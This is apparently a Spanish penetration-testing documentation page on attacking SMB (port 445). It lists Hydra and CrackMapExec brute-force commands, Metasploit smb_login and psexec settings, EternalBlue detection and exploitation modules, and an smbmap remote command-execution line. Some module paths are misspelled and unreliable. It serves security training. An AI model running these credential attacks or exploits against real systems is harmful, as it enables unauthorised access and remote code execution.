> For the complete documentation index, see [llms.txt](https://docs.pabloarrabal.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.pabloarrabal.com/explotacion/servicios/445-smb.md).

# 445 - SMB

## Fuerza Bruta

### Hydra

Para poder hacer fuerza bruta con hydra al servicio SMB, se pueden dar varios casos, en el caso de que tengas el usuario pero no la contraseña, deberás de usar un diccionario en este aspecto, por lo que el comando sería el siguiente:

```bash
hydra -l user -P passwords.txt smb://127.0.0.1 -t 15
```

En este caso con el parámetro `-l` le indicamos que sabemos el usuario y con el parámetro `-P` le indicamos la ruta donde esta el diccionario de contraseñas.

{% hint style="warning" %}
Puede que el servicio SMB no se encuentre en el puerto predefinido, en ese caso deberemos de especificar a hydra el puerto en el que está, esto se hace con el parámetro `-s`

```
hydra -l user -P passwords.txt SMB://127.0.0.1 -t 15 -s 2000
```

{% endhint %}

En el caso contrario de que no sepas el usuario pero si la contraseña, los parámetros querían así:

```bash
hydra -L users.txt -p Password123 smb://127.0.0.1 -t 15
```

En este comando, le indicamos la ruta del diccionario de usuarios con el parámetro en mayúscula y una contraseña en concreto con el parámetro en minúscula. En el otro posible caso de que no tengamos ni la contraseña ni el usuario, pondremos los dos parámetros en mayúscula pasándole como valor la ruta del diccionario tanto de usuarios como de contraseñas.

```bash
hydra -L users.txt -P passwords.txt smb://127.0.0.1 -t 15
```

### Crackmapexec

Podemos usar esta herramienta para probar una serie de contraseñas en base a un usuario o viceversa sustituyendo la contraseña por la ruta de un diccionario. Por ejemplo:

```ruby
crackmapexec smb 192.168.1.10 -u usuario -p diccionario.txt
```

{% hint style="warning" %}
**ATENCIÓN!!** Puede que los resultados no sean reales y nos den falsos negativos, por lo que se recomienda revisar los resultados con smbmap (`smbmap -H 192.168.1.10 -u usuario -p contraseña1`)
{% endhint %}

### Metasploit

#### Fuerza Bruta

Podemos usar metasploit para hacer fuerza bruta para SMB, el modulo es "`auxiliary/scanner/smb/smb_login`"

* SMBUSser -> En el caso de que usemos un usuario concreto
* USER\_FILE -> En el caso de que usemos un diccionario de usuarios
* PASS\_FILE -> En el caso de que usemos un diccionario de contraseñas
* SMBPass -> En el caso de que usemos una contraseña concreta
* RHOSTS -> IP de la máquina victima
* VERBOSE -> Desactivar

<figure><img src="https://271831323-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbbtAYwqVMCAFE0gptbZ0%2Fuploads%2F5ECfUnkfd6e2ad4ErClZ%2Fimage.png?alt=media&amp;token=bfc70df3-759c-4c85-9e0c-7fbf16f2eaac" alt=""><figcaption></figcaption></figure>

#### PSexec

Existe otro módulo llamado psexec (`exploit/windows/smb/psexec`) cuyo objetivo es adquirir administración remota de la maquina

* RHOSTS -> IP de la máquina victima
* SMBUSser -> En el caso de que usemos un usuario concreto
* SMBPass -> En el caso de que usemos una contraseña concreta

## EthernalBlue (MS17-010)

{% hint style="info" %}
EternalBlue es una vulnerabilidad en el protocolo Server Message Block (SMB) de Microsoft, identificada como MS17-010. Esta vulnerabilidad permite a un atacante ejecutar código remoto en sistemas Windows sin necesidad de autenticación.

Los siguientes S.O. fueron afectados:

* **Windows Vista**
* **Windows 7**
* **Windows 8**
* **Windows 8.1**
* **Windows 10**
* **Windows Server 2008**
* **Windows Server 2008 R2**
* **Windows Server 2012**
* **Windows Server 2012 R2**
* **Windows Server 2016**
  {% endhint %}

### Detección

#### Nmap

Para comprobar si el host es vulnerable, usaremos el siguiente script de nmap:

```bash
nmap -sV -p 445 --script=smb-vuln-ms17-010 192.168.1.1
```

#### Metasploit

También podemos optar por el modulo de metasploit:

```bash
/auxliary/scanner/smb/smb_ms10_010
```

### Explotación

#### GitHub Tool

Para explotar la vulnerabilidad, usaremos la siguiente herramienta:

{% @github-files/github-code-block url="<https://github.com/3ndG4me/AutoBlue-MS17-010>" %}

#### Metasploit

O el siguiente modulo de metasploit:

```bash
/exploit/windows/smb/ms17_010_ethernalblue
```

## RCE

Podemos ejecutar comandos con un usuario y contraseña de SMB usando [SmbMap](/reconocimiento/protocolos-servicios/445-smb.md#smbmap) y el siguiente comando:

```bash
smbmap -u usuario -p password -H 192.168.1.1 -x 'comando'
```